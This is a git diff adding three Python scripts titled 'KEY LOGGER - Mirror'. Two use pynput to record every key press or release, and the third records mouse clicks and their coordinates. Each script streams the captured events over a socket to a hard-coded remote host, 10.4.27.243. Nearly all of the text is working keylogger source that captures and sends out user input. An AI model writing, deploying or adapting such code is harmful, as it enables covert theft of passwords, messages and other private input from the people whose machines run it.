diff --git a/Server/KEY LOGGER - Mirror - KEYBOARD - release.py b/Server/KEY LOGGER - Mirror - KEYBOARD - release.py new file mode 100644 index 0000000..e573895 --- /dev/null +++ b/Server/KEY LOGGER - Mirror - KEYBOARD - release.py @@ -0,0 +1,85 @@ +import socket +import os +import tqdm +from tkinter import * +from pynput import keyboard + +#ipFile = open("IP.txt") +#IP = ipFile.read() +#ipFile.close() + + +#window = Tk() +#label = Label(window, text= 'What is the IP') +#entry = Entry(window, width=200) +#entry.insert(END, IP) +#label.pack() +#entry.pack() + + + +SEPARATOR = "" +BUFFER_SIZE = 128 # send 4096 bytes each time step + +host = "10.4.27.243" +# the ip address or hostname of the server, the receiver +# the port, let's use 5001 +port = 10003 +# the name of file we want to send, make sure it exists +filename = "dataKR.txt" +# get the file size +filesize = os.path.getsize("dataKR.txt") + +#IPfile = open("IPfile.txt", "w") +#text_file.write(host) +#text_file.close() + + + +# create the client socket +s = socket.socket() +print(f"[+] Connecting to {host}:{port}") +s.connect((host, port)) +print("[+] Connected.") +# send the filename and filesize +s.send(f"{filename}{SEPARATOR}{filesize}".encode()) + +def sendfile(): + # start sending the file + progress = tqdm.tqdm(range(filesize), f"Sending {filename}", unit="B", unit_scale=True, unit_divisor=1024) + with open(filename, "rb") as f: + for _ in progress: + # read the bytes from the file + bytes_read = f.read(BUFFER_SIZE) + if not bytes_read: + # file transmitting is done + break + # we use sendall to assure transimission in + # busy networks + s.sendall(bytes_read) + # update the progress bar + progress.update(len(bytes_read)) + # close the socket + #s.close() + +#----------------------------------------------------------- + + +def on_release(key): + text_file = open(filename, "w") + text_file.write(('{}'.format(key)).replace("'", "")) + text_file.close() + sendfile() + +def on_press(key): + print("\n") + + + + +with keyboard.Listener(on_press = on_press, on_release = on_release) as listener: + listener.join() + + +#----------------------------------------- + diff --git a/Server/KEY LOGGER - Mirror - KEYBOARD- press.py b/Server/KEY LOGGER - Mirror - KEYBOARD- press.py new file mode 100644 index 0000000..d49bce3 --- /dev/null +++ b/Server/KEY LOGGER - Mirror - KEYBOARD- press.py @@ -0,0 +1,84 @@ +import socket +import os +import tqdm +from tkinter import * +from pynput import keyboard + +#window = Tk() +#label = Label(window, text= 'What is the IP') +#entry = Entry(browser_window, width=200) +#entry.insert(END, IP) +#label.pack() +#entry.pack() + + + +SEPARATOR = "" +BUFFER_SIZE = 128 # send 4096 bytes each time step + +host = "10.4.27.243" +# the ip address or hostname of the server, the receiver +# the port, let's use 5001 +port = 10001 +# the name of file we want to send, make sure it exists +filename = "dataKP.txt" +# get the file size +filesize = os.path.getsize("dataKP.txt") + +#IPfile = open("IPfile.txt", "w") +#text_file.write("¬") +#text_file.close() + + + + + + + +# create the client socket +s = socket.socket() +print(f"[+] Connecting to {host}:{port}") +s.connect((host, port)) +print("[+] Connected.") +# send the filename and filesize +s.send(f"{filename}{SEPARATOR}{filesize}".encode()) + +def sendfile(): + # start sending the file + progress = tqdm.tqdm(range(filesize), f"Sending {filename}", unit="B", unit_scale=True, unit_divisor=1024) + with open(filename, "rb") as f: + for _ in progress: + # read the bytes from the file + bytes_read = f.read(BUFFER_SIZE) + if not bytes_read: + # file transmitting is done + break + # we use sendall to assure transimission in + # busy networks + s.sendall(bytes_read) + # update the progress bar + progress.update(len(bytes_read)) + # close the socket + #s.close() + +#----------------------------------------------------------- + + +def on_press(key): + text_file = open("dataKP.txt", "w") + text_file.write(('{}'.format(key)).replace("'", "")) + text_file.close() + sendfile() + + + + +with keyboard.Listener( + + on_press = on_press) as listener: + + listener.join() + + +#----------------------------------------- + diff --git a/Server/KEY LOGGER - Mirror - MOUSE.py b/Server/KEY LOGGER - Mirror - MOUSE.py new file mode 100644 index 0000000..30804a9 --- /dev/null +++ b/Server/KEY LOGGER - Mirror - MOUSE.py @@ -0,0 +1,85 @@ +import socket +import os +import tqdm +from pynput import keyboard +from pynput.mouse import Button, Controller +from pynput import mouse + +MOUSE = Controller() + + + +SEPARATOR = "" +BUFFER_SIZE = 128 # send 4096 bytes each time step + +host = "10.4.27.243" +# the ip address or hostname of the server, the receiver +# the port, let's use 10002 +port = 10002 +# the name of file we want to send, make sure it exists +filename = "dataM.txt" +# get the file size +filesize = os.path.getsize("dataM.txt") + + + +# create the client socket +s = socket.socket() +print(f"[+] Connecting to {host}:{port}") +s.connect((host, port)) +print("[+] Connected.") +# send the filename and filesize +s.send(f"{filename}{SEPARATOR}{filesize}".encode()) + +def sendfile(): + # start sending the file + progress = tqdm.tqdm(range(filesize), f"Sending {filename}", unit="B", unit_scale=True, unit_divisor=1024) + with open(filename, "rb") as f: + for _ in progress: + # read the bytes from the file + bytes_read = f.read(BUFFER_SIZE) + if not bytes_read: + # file transmitting is done + break + # we use sendall to assure transimission in + # busy networks + s.sendall(bytes_read) + # update the progress bar + progress.update(len(bytes_read)) + # close the socket + #s.close() + +############################################################################## + + +def on_click(x, y, button, pressed): + print(button) + + text_file = open("dataM.txt", "w") + if button == "Button.left": + text_file.write(str("R")) + else: + text_file.write(str("L")) + + text_file.close() + text_file = open("dataM.txt", "a") + text_file.write(str(x)) + text_file.write(",") + text_file.write(str(y)) + text_file.close() + sendfile() + + + + + + +with mouse.Listener( + + on_click = on_click) as listener: + + listener.join() + + +############################################################################### +